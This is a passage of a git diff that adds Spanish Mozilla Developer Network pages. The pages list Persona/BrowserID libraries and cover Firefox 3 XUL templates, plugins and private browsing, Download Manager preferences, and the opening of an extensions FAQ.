+<h3 id="Node.js">Node.js</h3>
+<ul>
+  <li>Express: <a class="external" href="https://github.com/jbuck/express-persona" title="https://github.com/jbuck/express-persona">https://github.com/jbuck/express-persona</a></li>
+  <li>Express / Jungles: <a class="external" href="https://npmjs.org/package/jungles-auth-persona" title="https://npmjs.org/package/jungles-auth-persona">https://npmjs.org/package/jungles-auth-persona</a></li>
+  <li>Passport: <a class="external" href="https://github.com/jaredhanson/passport-browserid" title="https://github.com/jaredhanson/passport-browserid">https://github.com/jaredhanson/passport-browserid</a></li>
+  <li>Express / connect - connect-auth: <a class="external" href="https://github.com/ciaranj/connect-auth" title="https://github.com/ciaranj/connect-auth">https://github.com/ciaranj/connect-auth</a></li>
+  <li>Persona + LevelDB session storage: <a class="external" href="https://github.com/maxogden/doorknob" title="/en-US/docs/">https://github.com/maxogden/doorknob</a></li>
+</ul>
+<h3 id="PHP">PHP</h3>
+<ul>
+  <li>CakePHP: <a class="external" href="https://github.com/overflow636/ofbid" title="https://github.com/overflow636/ofbid">https://github.com/overflow636/ofbid</a> and <a class="external" href="https://github.com/markomarkovic/cakephp-plugin-persona" title="https://github.com/markomarkovic/cakephp-plugin-persona">https://github.com/markomarkovic/cakephp-plugin-persona</a></li>
+  <li>DokuWiki: <a class="external" href="https://github.com/Rudloff/dokuwiki-browserid" title="https://github.com/Rudloff/dokuwiki-browserid">https://github.com/Rudloff/dokuwiki-browserid</a></li>
+  <li>Dotclear: <a class="external" href="http://plugins.dotaddict.org/dc2/details/browserID" title="http://plugins.dotaddict.org/dc2/details/browserID">http://plugins.dotaddict.org/dc2/details/browserID</a></li>
+  <li>Drupal: <a class="external" href="https://drupal.org/project/persona" title="https://drupal.org/project/persona">https://drupal.org/project/persona</a></li>
+  <li>Elgg: <a class="external" href="http://community.elgg.org/plugins/1154520/1.0/persona" title="/en-US/docs/">http://community.elgg.org/plugins/1154520/1.0/persona</a></li>
+  <li>Joomla: <a class="external" href="http://extensions.joomla.org/extensions/access-a-security/authentication-cloud-based/18567" title="http://extensions.joomla.org/extensions/access-a-security/authentication-cloud-based/18567">http://extensions.joomla.org/extensions/access-a-security/authentication-cloud-based/18567</a></li>
+  <li>Midgard MVC: <a class="external" href="https://github.com/midgardproject/midgardmvc_core/blob/master/services/authentication/browserid.php" title="https://github.com/midgardproject/midgardmvc_core/blob/master/services/authentication/browserid.php">https://github.com/midgardproject/midgardmvc_core/blob/master/services/authentication/browserid.php</a></li>
+  <li>MyBB: <a class="external" href="https://github.com/Rudloff/mybb-browserid" title="https://github.com/Rudloff/mybb-browserid">https://github.com/Rudloff/mybb-browserid</a></li>
+  <li>SPIP: <a class="external" href="http://www.spip-contrib.net/BrowserID" title="http://www.spip-contrib.net/BrowserID">http://www.spip-contrib.net/BrowserID</a></li>
+  <li>Symfony2: <a class="external" href="https://github.com/Proxiweb/PersonaBundle" title="https://github.com/Proxiweb/PersonaBundle">https://github.com/Proxiweb/PersonaBundle</a>, <a class="external" href="https://github.com/bitgrave/BGPersonaBundle" title="https://github.com/bitgrave/BGPersonaBundle">https://github.com/bitgrave/BGPersonaBundle</a>, <a class="external" href="https://github.com/ahilles107/BrowserIDBundle" title="https://github.com/ahilles107/BrowserIDBundle">https://github.com/ahilles107/PersonaBundle</a></li>
+  <li>Tiki: <a class="external" href="http://dev.tiki.org/Mozilla+Persona" title="http://dev.tiki.org/Mozilla+Persona">http://dev.tiki.org/Mozilla+Persona</a></li>
+  <li>WordPress / bbPress 2: <a class="external" href="http://wordpress.org/extend/plugins/browserid/" title="http://wordpress.org/extend/plugins/browserid/">http://wordpress.org/extend/plugins/browserid/</a></li>
+</ul>
+<h3 id="Python">Python</h3>
+<ul>
+  <li>CherryPy: <a class="external" href="https://bitbucket.org/jaraco/jaraco.persona">https://bitbucket.org/jaraco/jaraco.persona</a></li>
+  <li>Django: <a class="external" href="https://github.com/mozilla/django-browserid" title="https://github.com/mozilla/django-browserid">https://github.com/mozilla/django-browserid</a> (see <a class="external" href="http://godjango.com/11-browser-id/" title="http://godjango.com/11-browser-id/">screencast</a>)</li>
+  <li>Django Social Auth: <a class="external" href="https://github.com/omab/django-social-auth/blob/master/social_auth/backends/browserid.py" title="https://github.com/omab/django-social-auth/blob/master/social_auth/backends/browserid.py">https://github.com/omab/django-social-auth/blob/master/social_auth/backends/browserid.py</a></li>
+  <li>Django 1.5 and Python 3: <a class="external" href="https://github.com/mozillaperu/MozTanta-Persona" title="/en-US/docs/">https://github.com/mozillaperu/MozTanta-Persona</a></li>
+  <li>Flask: <a class="external" href="http://pypi.python.org/pypi/Flask-BrowserID" title="http://pypi.python.org/pypi/Flask-BrowserID">http://pypi.python.org/pypi/Flask-BrowserID</a></li>
+  <li>Google App Engine: <a class="external" href="https://github.com/psawaya/BrowserID-GAE" title="https://github.com/psawaya/BrowserID-GAE">https://github.com/psawaya/BrowserID-GAE</a></li>
+  <li>Pyramid: <a class="external" href="http://www.rfk.id.au/blog/entry/painless-auth-pyramid-browserid/" title="http://www.rfk.id.au/blog/entry/painless-auth-pyramid-browserid/">http://www.rfk.id.au/blog/entry/painless-auth-pyramid-browserid/</a></li>
+  <li>Pyramid: <a class="external" href="https://github.com/madjar/pyramid_persona/" title="https://github.com/madjar/pyramid_persona/">https://github.com/madjar/pyramid_persona/</a> (see <a class="external" href="http://compiletoi.net/quick-authentication-on-pyramid-with-persona.html" title="http://compiletoi.net/quick-authentication-on-pyramid-with-persona.html">blog post</a>)</li>
+  <li>Repoze: <a class="external" href="https://github.com/mozilla-services/repoze.who.plugins.browserid" title="https://github.com/mozilla-services/repoze.who.plugins.browserid">https://github.com/mozilla-services/repoze.who.plugins.browserid</a></li>
+  <li>Tornado: <a class="external" href="http://www.peterbe.com/plog/integrate-browserid-in-a-tornado-web-app" title="http://www.peterbe.com/plog/integrate-browserid-in-a-tornado-web-app">http://www.peterbe.com/plog/integrate-browserid-in-a-tornado-web-app</a></li>
+  <li>Twisted: <a class="external" href="https://github.com/warner/browserid-cred" title="https://github.com/warner/browserid-cred">https://github.com/warner/browserid-cred</a></li>
+  <li>web.py: <a class="external" href="https://github.com/oscarfroberg/browserid-webpy" title="https://github.com/oscarfroberg/browserid-webpy">https://github.com/oscarfroberg/browserid-webpy</a></li>
+  <li>WSGI: <a class="external" href="https://github.com/ianb/wsgibrowserid" title="https://github.com/ianb/wsgibrowserid">https://github.com/ianb/wsgibrowserid</a></li>
+</ul>
+<h3 id="Ruby">Ruby</h3>
+<ul>
+  <li>Devise: <a class="external" href="https://rubygems.org/gems/devise-browserid" title="https://rubygems.org/gems/devise-browserid">https://rubygems.org/gems/devise-browserid</a></li>
+  <li>Devise: <a class="external" href="https://github.com/denschub/devise_browserid_authenticatable" title="https://github.com/denschub/devise_browserid_authenticatable">https://github.com/denschub/devise_browserid_authenticatable</a></li>
+  <li>OmniAuth: <a class="external" href="https://github.com/intridea/omniauth-browserid" title="https://github.com/intridea/omniauth-browserid">https://github.com/intridea/omniauth-browserid</a></li>
+  <li>Rails: <a class="external" href="http://rubygems.org/gems/browserid-rails" title="http://rubygems.org/gems/browserid-rails">http://rubygems.org/gems/browserid-rails</a></li>
+  <li>Sinatra: <a class="external" href="http://rubygems.org/gems/sinatra-browserid" title="http://rubygems.org/gems/sinatra-browserid">http://rubygems.org/gems/sinatra-browserid</a></li>
+  <li>Warden / Rack: <a class="external" href="https://rubygems.org/gems/warden-browserid" title="/en-US/en-US/docs/">https://rubygems.org/gems/warden-browserid</a></li>
+</ul>
+<h3 id="Erlang">Erlang</h3>
+<ul>
+  <li>CouchDB: <a class="external" href="https://github.com/iriscouch/browserid_couchdb" title="https://github.com/iriscouch/browserid_couchdb">https://github.com/iriscouch/browserid_couchdb</a></li>
+</ul>
+<h3 id="Miscellaneous">Miscellaneous</h3>
+<ul>
+  <li>Apache: <a class="external" href="https://github.com/mozilla/mod_browserid" title="/Link_Type_Article_Title_Lookup_/_Link_Text_Attachments_URL">https://github.com/mozilla/mod_browserid</a></li>
+  <li>Cyrus SASL: <a class="external" href="https://github.com/ozten/sasl-browserid" title="https://github.com/ozten/sasl-browserid">https://github.com/ozten/sasl-browserid</a></li>
+  <li>PhoneGap: <a class="external" href="https://github.com/couchbaselabs/cordova-browserid" title="https://github.com/couchbaselabs/cordova-browserid">https://github.com/couchbaselabs/cordova-browserid</a></li>
+</ul>
+<p>¿No ve su lenguage o marco en la lista? <a class="external" href="http://identity.mozilla.com/post/31008721633/" title="http://identity.mozilla.com/post/31008721633/">LoginRadius</a>, un widget de autenticación, ofrece una integración Persona para una amplia variedad de plataformas.</p>
+<h2 id="Bibliotecas">Bibliotecas</h2>
+<h3 id="C">C</h3>
+<ul>
+  <li><a class="external" href="https://github.com/PADL/gss_browserid" title="https://github.com/PADL/gss_browserid">https://github.com/PADL/gss_browserid</a> (libbrowserid component)</li>
+</ul>
+<h3 id="Go">Go</h3>
+<ul>
+  <li><a class="external" href="https://github.com/elathan/gobrowserid" title="https://github.com/elathan/gobrowserid">https://github.com/elathan/gobrowserid</a></li>
+</ul>
+<h3 id="Haskell_2">Haskell</h3>
+<ul>
+  <li><a class="external" href="http://hackage.haskell.org/package/authenticate" title="http://hackage.haskell.org/package/authenticate">http://hackage.haskell.org/package/authenticate</a></li>
+</ul>
+<h3 id=".Net">.Net</h3>
+<ul>
+  <li><a class="external" href="https://github.com/cvrajeesh/NBrowserID" title="https://github.com/cvrajeesh/NBrowserID">https://github.com/cvrajeesh/NBrowserID</a></li>
+  <li><a class="external" href="http://www.codeguru.com/csharp/.net/net_asp/using-browserid-authentication-in-asp.net-web-sites.htm" title="http://www.codeguru.com/csharp/.net/net_asp/using-browserid-authentication-in-asp.net-web-sites.htm">http://www.codeguru.com/csharp/.net/net_asp/using-browserid-authentication-in-asp.net-web-sites.htm</a></li>
+  <li><a class="external" href="https://github.com/fernandozamoraj/BrowserIdDemoWithMVC3" title="https://github.com/fernandozamoraj/BrowserIdDemoWithMVC3">https://github.com/fernandozamoraj/BrowserIdDemoWithMVC3</a> (see <a class="external" href="http://fernandozamorajimenez.blogspot.com/2012/04/integrating-browserid-with-mvc3.html" title="http://fernandozamorajimenez.blogspot.com/2012/04/integrating-browserid-with-mvc3.html">blog post</a>)</li>
+  <li><a class="external" href="https://github.com/sergiotapia/ASP.Net-MVC3-Persona-Demo" title="https://github.com/sergiotapia/ASP.Net-MVC3-Persona-Demo">https://github.com/sergiotapia/ASP.Net-MVC3-Persona-Demo</a></li>
+</ul>
+<h3 id="Node.js_2">Node.js</h3>
+<ul>
+  <li><a class="external" href="https://github.com/chilts/browserid-verify-node" title="https://github.com/chilts/browserid-verify-node">https://github.com/chilts/browserid-verify-node</a></li>
+  <li><a class="external" href="https://github.com/substack/persona-id" title="https://github.com/substack/persona-id">https://github.com/substack/persona-id</a></li>
+  <li><a class="external" href="https://github.com/lloyd/node-browserid" title="https://github.com/lloyd/node-browserid">https://github.com/lloyd/node-browserid</a></li>
+</ul>
+<h3 id="Perl">Perl</h3>
+<ul>
+  <li><a class="external" href="https://github.com/chilts/Net-BrowserID-Verify" title="https://github.com/chilts/Net-BrowserID-Verify">https://github.com/chilts/Net-BrowserID-Verify</a></li>
+</ul>
+<h3 id="PHP_2">PHP</h3>
+<ul>
+  <li><a class="external" href="https://github.com/Falco20019/php-browseridlib" title="https://github.com/Falco20019/php-browseridlib">https://github.com/Falco20019/php-browseridlib</a></li>
+  <li><a class="external" href="https://github.com/raymondjavaxx/php5-browserid" title="https://github.com/raymondjavaxx/php5-browserid">https://github.com/raymondjavaxx/php5-browserid</a></li>
+</ul>
+<h3 id="Python_2">Python</h3>
+<ul>
+  <li><a class="external" href="https://github.com/mozilla/PyBrowserID" title="https://github.com/mozilla/PyBrowserID">https://github.com/mozilla/PyBrowserID</a></li>
+</ul>
+<h3 id="Ruby_2">Ruby</h3>
+<ul>
+  <li><a class="external" href="https://github.com/chilts/browserid-verify-ruby" title="https://github.com/chilts/browserid-verify-ruby">https://github.com/chilts/browserid-verify-ruby</a></li>
+</ul>
+<h2 id="Todo_lo_demás">Todo lo demás</h2>
+<h3 id="Perl_2">Perl</h3>
+<ul>
+  <li>Perl/CGI IdP: <a class="external" href="https://github.com/benkard/mulkyid" title="https://github.com/benkard/mulkyid">https://github.com/benkard/mulkyid</a></li>
+</ul>
+<h3 id="Python_3">Python</h3>
+<ul>
+  <li>WSGI IdP: <a class="external" href="https://bitbucket.org/djc/persona-totp" title="https://bitbucket.org/djc/persona-totp">https://bitbucket.org/djc/persona-totp</a></li>
+</ul>
+<h3 id="Ruby_3">Ruby</h3>
+<ul>
+  <li>Rack IdP: <a class="external" href="https://rubygems.org/gems/browserid-provider" title="https://rubygems.org/gems/browserid-provider">https://rubygems.org/gems/browserid-provider</a> (see <a class="external" href="https://rin.no/category/browserid-2/" title="https://rin.no/category/browserid-2/">blog post</a>)</li>
+</ul>
+<h3 id="PHP_3">PHP</h3>
+<ul>
+  <li>Symfony2 IdP: <a class="external" href="https://github.com/gigablah/GBPersonaProviderBundle" title="https://github.com/gigablah/persona-provider-bundle">https://github.com/gigablah/GBPersonaProviderBundle</a></li>
+</ul>
+<h3 id="Racket">Racket</h3>
+<ul>
+  <li>web-server module: <a class="external" href="https://github.com/cosmez/racket-persona">https://github.com/cosmez/racket-persona</a></li>
+</ul>
diff --git a/files/es/plantillas_en_firefox_3/index.html b/files/es/plantillas_en_firefox_3/index.html
new file mode 100644
index 0000000000..499fa226a2
--- /dev/null
+++ b/files/es/plantillas_en_firefox_3/index.html
@@ -0,0 +1,27 @@
+---
+title: Plantillas en Firefox 3
+slug: Plantillas_en_Firefox_3
+tags:
+  - Firefox 3
+translation_of: Mozilla/Firefox/Releases/3/Templates
+---
+<div>{{FirefoxSidebar}}</div><p>{{ Fx_minversion_header(3) }}</p>
+
+<p>Las plantillas se han mejorado enormemente en Firefox 3. La mejora más importante permite el uso de <a href="/es/Cómo_implementar_un_componente_procesador_de_consultas_XUL" title="es/Cómo_implementar_un_componente_procesador_de_consultas_XUL">procesador de consultas personalizado</a> para manejar otro tipo de fuentes de datos además de RDF. Esto es posible gracias a la nueva sintaxis de consultas. También se incluyen soporte para SQL (<a href="/es/Almacenamiento" title="es/Almacenamiento">mozStorage</a>) y fuentes de datos XML. Ya {{ interwiki('wikimo', 'XUL:Template_Features_in_1.9', 'está disponible') }} una descripción completa de las nuevas características para plantillas. ({{ Bug(285631) }})</p>
+
+<h3 id="Otras_mejoras" name="Otras_mejoras">Otras mejoras</h3>
+
+<ul>
+ <li>Se han añadido condiciones relacionales para que los resultados encontrados cumplan la norma con una mayor exactitud. Esto permite, por ejemplo, que se encuentren resultados que empiecen o terminen con determinados hilos, o que son antes o después otros valores.</li>
+ <li>Se ha incluido una bandera, <code>dont-recurse</code>, para evitar que se repitan resultados generados tan solo a un nivel.</li>
+ <li>Se han añadido APIs al editor de plantillas para recuperar un objeto de resultado que representa un dato externo.</li>
+ <li>Se ha mejorado el servicio tipo XUL <a href="/es/XUL/Guía_de_plantillas/Ordenar_resultados" title="es/XUL/Guía_de_plantillas/Ordenar_resultados">clasificando</a> mejor tanto el árbol de contenido como el de sin contenido. También permite clasificar contenidos de plantillas no editables.({{ Bug(335122) }})</li>
+</ul>
+
+<h3 id="V.C3.A9ase_tambi.C3.A9n" name="V.C3.A9ase_tambi.C3.A9n">Véase también</h3>
+
+<ul>
+ <li><a href="/es/Firefox_3_para_desarrolladores" title="es/Firefox_3_para_desarrolladores">Firefox 3 para desarrolladores</a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/Templates_in_Firefox_3", "fr": "fr/Templates_dans_Firefox_3", "ja": "ja/Templates_in_Firefox_3" } ) }}</p>
diff --git a/files/es/plugins/index.html b/files/es/plugins/index.html
new file mode 100644
index 0000000000..7f9e31e896
--- /dev/null
+++ b/files/es/plugins/index.html
@@ -0,0 +1,52 @@
+---
+title: Plugins
+slug: Plugins
+tags:
+  - Plugins
+  - Todas_las_Categorías
+translation_of: Archive/Plugins
+---
+<p>
+</p><p>Los <b>Plugins</b> (o plug-ins) son pequeños fragmentos de software que interactúan con el navegador para proporcionar algunas funciones que en la mayoria de los casos son muy especificas. Ejemplos tipicos de plugins son los usados para mostrar los distintos formatos gráficos, o para reproducir ficheros multimedia. Los plugins son ligeramente diferentes de las <a href="es/Extensiones">Extensiones</a>, que modifican o se añaden a funcionalidades ya existentes.
+</p><p><br>
+</p>
+<table class="topicpage-table">
+<tbody><tr> <td>
+<h4 id="Documentaci.C3.B3n" name="Documentaci.C3.B3n"> <a>Documentación</a> </h4>
+<dl><dt> <a href="es/Usando_el_marcado_correcto_para_llamar_a_los_plugins">Usando el marcado correcto para llamar a los plugins</a>
+</dt><dd> <small>Este artículo trata de como llamar a un plugin correctamente usando HTML. Habla sobre el elemento object y el elemento embed, asi como detalles sobre como llamar a aplicaciones Java con HTML en aplicaciones web.</small>
+</dd></dl>
+<dl><dt> <a href="es/Usar_XPInstall_para_instalar_plugins">Usar XPInstall para instalar plugins</a>
+</dt><dd> <small><a href="es/XPInstall">XPInstall</a> es un instalador basado en la tecnología JavaScript y que funciona en todas las plataformas en las que los navegadores basados en <a class="external" href="http://mozilla.org">Mozilla</a> y Netscape basados en Mozilla (como Netscape 7) estan presentes.</small>
+</dd></dl>
+<p><a class="external" href="http://developer.mozilla.org/en/docs/Detecting_Plugins_%28external%29">Detectando Plugins (en)</a>
+</p>
+<dl><dd> <small>"Ya que hay situaciones donde esta claro que hay que usar plugins, la pregunta es, ¿que hacer con aquellos que no tienen el plugin requerido instalado?"</small>
+</dd></dl>
+<p><span class="alllinks"><a>Ver todos...</a></span>
+</p>
+</td> <td>
+<h4 id="Comunidad" name="Comunidad"> Comunidad </h4>
+<ul><li> <a class="external" href="http://www.mozillaes.org/index.php?option=com_forum&amp;Itemid=122&amp;page=viewforum&amp;f=15">Desarrollo Mozilla</a> en los foros de Mozilla-ES.
+</li></ul>
+<ul><li> View Mozilla forums...
+</li></ul>
+<p>{{ DiscussionList("dev-tech-plugins", "mozilla.dev.tech.plugins") }}
+</p><p><span class="alllinks"><a href="es/Plugins/Comunidad">Ver todo</a></span>
+</p>
+<h4 id="Herramientas" name="Herramientas"> Herramientas </h4>
+<ul><li> <a class="external" href="http://plugindoc.mozdev.org/es-ES/">Plugindoc</a>
+</li></ul>
+<p><span class="alllinks"><a>Ver todo</a></span>
+</p>
+<h4 id="Temas_relacionados" name="Temas_relacionados"> Temas relacionados </h4>
+<dl><dd> <a href="es/Gecko">Gecko</a>
+</dd></dl>
+</td> </tr> </tbody></table>
+<p><span class="comment">Categorías</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "de": "de/Plugins", "en": "en/Plugins", "fr": "fr/Plugins", "ja": "ja/Plugins", "ko": "ko/Plugins", "pl": "pl/Wtyczki", "pt": "pt/Plugins" } ) }}
diff --git a/files/es/plugins/supporting_private_browsing_in_plugins/index.html b/files/es/plugins/supporting_private_browsing_in_plugins/index.html
new file mode 100644
index 0000000000..4448567bb4
--- /dev/null
+++ b/files/es/plugins/supporting_private_browsing_in_plugins/index.html
@@ -0,0 +1,10 @@
+---
+title: Supporting private browsing in plugins
+slug: Plugins/Supporting_private_browsing_in_plugins
+translation_of: Archive/Plugins/Supporting_private_browsing_in_plugins
+---
+<p>{{ fx_minversion_header(3.5) }}</p>
+<p>Firefox 3.5 introduced private browsing, a mode in which potentially private information is not recorded in any way.  It also introduced a mechanism by which plugins can determine whether or not private browsing mode is in effect.  Plugins should be updated to monitor the state of private browsing mode and only save private information when private browsing is disabled.</p>
+<p>Potentially private information may include (but is not necessarily limited to) history information for downloaded data.  For example, if private browsing mode is in effect, video player plugins should not record the URLs of watched videos in their histories.</p>
+<h2 id="Detecting_private_browsing_mode">Detecting private browsing mode</h2>
+<p>Plug-ins can detect whether or not private browsing mode is in effect by using the <a class="internal" href="/en/NPN_GetValue" title="En/NPN GetValue"><code>NPN_GetValue()</code></a> function to check the current value of the <code>NPNVprivateModeBool</code> variable.</p>
diff --git a/files/es/preferencias_del_administrador_de_descargas/index.html b/files/es/preferencias_del_administrador_de_descargas/index.html
new file mode 100644
index 0000000000..0805f36b3b
--- /dev/null
+++ b/files/es/preferencias_del_administrador_de_descargas/index.html
@@ -0,0 +1,127 @@
+---
+title: Preferencias del Administrador de Descargas
+slug: Preferencias_del_Administrador_de_Descargas
+tags:
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/Download_Manager_preferences
+---
+<p>Hay varias preferencias usadas por el Administrador de Descargas. Este artículo ofrece una lista de ellas.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Preferencia</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td><code>browser.download.manager.showAlertOnComplete</code></td>
+   <td>Un valor booleano que indica si debe ser mostrada o no una aleerta cuando se completa la descarga.<br>
+    <em>Valor por defecto es <code>true</code></em>.</td>
+  </tr>
+  <tr>
+   <td><code>browser.download.manager.showAlertInterval</code></td>
+   <td>El número mínimo de mili segundos que deben transcurrir entre alertas de descarga completa.<br>
+    <em>Valor por defecto: 2000 (2 segundos)</em>.</td>
+  </tr>
+  <tr>
+   <td><code>browser.download.manager.retention</code></td>
+   <td>Indica por cuanto tiempo deben permanecer las descargas en la cola del Administrador de Descargas, tras haber sido completadas con éxito. 0 indica que la descarga puede ser eliminada una vez completada, 1 indica que las descargas completadas y las abandonadas deben desparecer al cerrar el navegador, 2 indica que las descargas no deben ser nunca eliminadas automáticamente.<br>
+    <em>En <strong>Firefox</strong> por defecto el valor es 2</em>.<br>
+    <em>En <strong>Thunderbird</strong> el valor por defecto es 1</em>;<br>
+    <em>Si la <strong>preferencia no existe</strong>, el valor usado es 0</em>.</td>
+  </tr>
+  <tr>
+   <td><code>browser.download.manager.quitBehavior</code></td>
+   <td>Indica lo que debería pasar con las descargas en progreso si se cierra el navegador. 0 indica que la descarga debería ponerse en pausa y reanudarse automáticamente la siguiente vez que se inicie el navegador, 1 indica que la descarga pero que no debería reanudarse automáticamente y 2 indica que la descarga debe ser cancelada al salir.<br>
+    <em>El valor por defecto es 0 (reanudar en la próxima apertura)</em>.</td>
+  </tr>
+  <tr>
+   <td><code>browser.download.manager.closeWhenDone</code></td>
+   <td>Un valor boleano indicando si la ventana del Administrador de Descargas deberá ser cerrada o no cuando se completen las descargas.<br>
+    <em>En <strong>Thunderbird</strong> este valor es por defecto <code>true</code></em>.<br>
+    <em>En <strong>Otras aplicaciones</strong> el valor por defecto es <code>false</code></em>.</td>
+  </tr>
+  <tr>
+   <td><code>browser.download.manager.addToRecentDocs</code></td>
+   <td>Un valor booleano que indica si las nuevas descargas deben ser añadidas o no a la lista de documentos recientes.<br>
+    <em>El valor por defecto es <code>true</code></em>.</td>
+  </tr>
+  <tr>
+   <td><code>browser.download.manager.scanWhenDone</code></td>
+   <td>Un valor booleano que indica si hay que realizar o no un análisis anti-virus cuando se ha completado una descarga. En Windows XP SP2 y Windows Vista, este valor también indica si las descargas presentan un aviso de seguridad al abrir los archivos.<br>
+    <em>El valor por defecto es <code>true</code></em>.</td>
+  </tr>
+  <tr>
+   <td><code>browser.helperApps.deleteTempFileOnExit</code></td>
+   <td>Un valor booleano que indica si hay que borrar o no el archivo temporal usado para la descarga, una vez completada esta.<br>
+    <em>En <strong>Mac</strong> el valor por defecto es <code>false</code></em>.<br>
+    <em>En <strong>Otros OS</strong> el valor por defecto es <code>true</code></em></td>
+  </tr>
+  <tr>
+   <td><code>browser.download.manager.flashCount</code></td>
+   <td>Indica el número de veces que el interfaz de usuario debe parpadear para llamar la atención del usuario, cuando la descarga está completa.<br>
+    <em>El valor por defecto es 2</em>.</td>
+  </tr>
+  <tr>
+   <td><code>browser.download.manager.focusWhenStarting</code></td>
+   <td>Un valor booleano que indica si poner o no el foco en la ventana del Administrador de Descargas cuando se inicia una descarga.<br>
+    <em>En <strong>Firefox</strong> y <strong>Thunderbird</strong> el valor por defecto es <code>false</code></em>.<br>
+    <em>En <strong>Otras aplicaciones</strong> el valor por defecto es <code>true</code></em>.</td>
+  </tr>
+  <tr>
+   <td><code>browser.download.manager.showWhenStarting</code></td>
+   <td>Un valor booleano que indica si mostrar o no la ventana de descarga cuando se inicia una descarga.<br>
+    <em>El valor por defecto es <code>true</code></em>.</td>
+  </tr>
+  <tr>
+   <td><code>browser.download.manager.useWindow</code></td>
+   <td>Un valor booleano indicando si se debe usar la ventana de descargas (<code>true</code>) o presentar el estado en la barra de estado (<code>false</code>) en la ventana del navegador.<br>
+    <em>El valor por defecto es <code>true</code></em>.</td>
+  </tr>
+  <tr>
+   <td><code>browser.download.useDownloadDir</code></td>
+   <td>Un valor booleano que indica si la preferencia de usuario es guardar automáticamente las descargas en el directorio de descargas. Si este valor es <code>false</code>, el usuario es preguntado sobre qué hacer.<br>
+    <em>En <strong>Thunderbird</strong> el valor por defecto es <code>false</code></em>.<br>
+    <em>En <strong>Otras aplicaciones</strong> el valor por defecto es <code>true</code></em>.</td>
+  </tr>
+  <tr>
+   <td><code>browser.download.antivirus.dontclean</code></td>
+   <td>Un valor booleano que indica si el software anti-virus debe intentar limpiar un archivo descargado cuando se ha detectado un virus.<br>
+    <em>El valor por defecto es <code>false</code></em>.</td>
+  </tr>
+  <tr>
+   <td><code>browser.download.manager.alertOnEXEOpen</code></td>
+   <td>Un valor booleano que indica si el iterfaz de usuario debe alertar al usuario acerca de los peligros de abrir (ejecutar) un archivo .EXE. El usuario puede marcar la casilla de "No volver a preguntar" en el interfaz .<br>
+    <em>El valor por defecto es <code>true</code></em>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Si una preferencia no está marcada cuando el Administrador de Descargas la busca, éste asume el valor por defecto pero no necesariamente añadirá la preferencia. La siguiente tabla, sin embargo, incluye las preferencia que deben ser incluidas en todo producto para que funcione el Administrador.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Preferencia</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td><code>browser.download.folderList</code></td>
+   <td>Indica el directorio por defecto dónde descargar los archivos. 0 indica el escritorio, 1 indica el directorio por defecto del sistema operativo, 2 indica un directorio escogido (ver: <code>browser.download.dir</code>) folder.<br>
+    <em><strong>Firefox</strong> y <strong>Thunderbird</strong> ponen el valor por defecto a <code>0</code></em>*.<br>
+    * - <small>Firefox en <strong>Windows Vista</strong> cambia esta preferencia a <code>1</code> en la primera ejecución.</small></td>
+  </tr>
+  <tr>
+   <td><code>browser.download.dir</code></td>
+   <td>Un directorio local que el usuario puede haber seleccionado para descargar archivos. La migración de las propiedades de otros navegadores pueden alterar este valor. Este directorio se habilita cuando <code>browser.download.folderList</code> es igual a 2.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<ul>
+ <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManager" title="">nsIDownloadManager</a></code></li>
+ <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownload" title="">nsIDownload</a></code></li>
+ <li><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDownloadManagerUI" title="">nsIDownloadManagerUI</a></code></li>
+</ul>
diff --git a/files/es/preguntas_frecuentes_sobre_extensiones/index.html b/files/es/preguntas_frecuentes_sobre_extensiones/index.html
new file mode 100644
index 0000000000..60e87e9f41
--- /dev/null
+++ b/files/es/preguntas_frecuentes_sobre_extensiones/index.html
@@ -0,0 +1,53 @@
+---
+title: Preguntas frecuentes sobre Extensiones
+slug: Preguntas_frecuentes_sobre_Extensiones
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - extensiones
+translation_of: Archive/Mozilla/Extension_Frequently_Asked_Questions
+---
+<p>Esta es una recopilación de respuestas breves a los problemas más frecuentes del desarrollo de <a href="/es/Extensiones" title="es/Extensiones">extensiones</a>. Están escritas pensando principalmente en Firefox, pero la mayoría de ellas- si no todas- son fácilmente aplicables a SeaMonkey, Thunderbird o cualesquiera de las demás aplicaciones.</p>
+<p>Si estás buscando còmo empezar a programar una extensión, prueba con el tutorial <a href="/es/Creando_una_extensi%C3%B3n" title="es/Creando_una_extensión">Creando una extensión</a> o <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">Primeros pasos (en)</a>.</p>
+<p>Asegúrate de <a class="external" href="http://kb.mozillazine.org/Setting_up_extension_development_environment">configurar el entorno de desarrollo (en)</a> correctamente antes de empezar.</p>
+<h3 id="Depuraci.C3.B3n">Depuración</h3>
+<p>Deberías <a class="external" href="http://kb.mozillazine.org/Setting_up_extension_development_environment">configurar el entorno de desarrollo</a> antes de empezar a depurar tu extensión.</p>
+<h3 id=".C2.BFC.C3.B3mo_puedo_encontrar_los_errores_de_mi_c.C3.B3digo.3F">¿Cómo puedo encontrar los errores de mi código?</h3>
+<p>Después de <a class="external" href="http://kb.mozillazine.org/Setting_up_extension_development_environment">activar la opción <strong>javascript.options.showInConsole</strong> (poniéndola a <strong>true</strong>)</a>, podrás leer los errores en la consola de JavaScript. A pesar de su nombre, en esta consola se mostrarán todo tipo de errores (no solo de JavaScript).</p>
+<h3 id=".C2.BFC.C3.B3mo_puedo_monitorizar_qu.C3.A9_est.C3.A1_haciendo_mi_extensi.C3.B3n.3F">¿Cómo puedo monitorizar qué está haciendo mi extensión?</h3>
